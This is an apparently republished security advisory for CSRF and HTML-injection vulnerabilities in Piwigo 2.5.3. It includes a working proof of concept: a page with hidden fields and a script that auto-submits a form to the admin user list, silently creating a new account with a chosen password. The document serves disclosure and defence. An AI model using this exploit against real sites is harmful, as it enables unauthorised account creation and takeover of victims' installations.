Piwigo Cross-Site Request Forgery and HTML Injection Vulnerabilities

vendor:

Piwigo

by:

SecurityFocus

7,5

CVSS

HIGH

Cross-Site Request Forgery and HTML Injection

352, 79

CWE

Product Name: Piwigo

Affected Version From: 2.5.3

Affected Version To: 2.5.3

Patch Exists: YES

Related CWE: N/A

CPE: a:piwigo:piwigo

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2014

Piwigo Cross-Site Request Forgery and HTML Injection Vulnerabilities

Piwigo is prone to cross-site request-forgery and HTML-injection vulnerabilities. Exploiting these issues may allow a remote attacker to perform certain unauthorized actions, execute arbitrary script or HTML code within the context of the browser, and steal cookie-based authentication credentials. Other attacks are also possible.

Mitigation:

Input validation should be used to prevent malicious HTML code from being injected into the application. Additionally, users should be aware of the risks associated with clicking on untrusted links.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/64357/info

Piwigo is prone to cross-site request-forgery and HTML-injection vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions, execute arbitrary script or HTML code within the context of the browser, and steal cookie-based authentication credentials. Other attacks are also possible.

Piwigo 2.5.3 is vulnerable; other versions may also be affected.

<head>
<title>POC</title>
</head>
<body>
<form action="http://www.example.com/cms/piwigo/admin.php?page=user_list"
id="formid" method="post">
<input type="hidden" name="login" value="crsfpoc123" />
<input type="hidden" name="password" value="Password123@" />
<input type="hidden" name="email" value="xyz@aaww.com" />
<input type="hidden" name="send_password_by_mail" value="1" />
<input type="hidden" name="submit_add" value="Submit" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>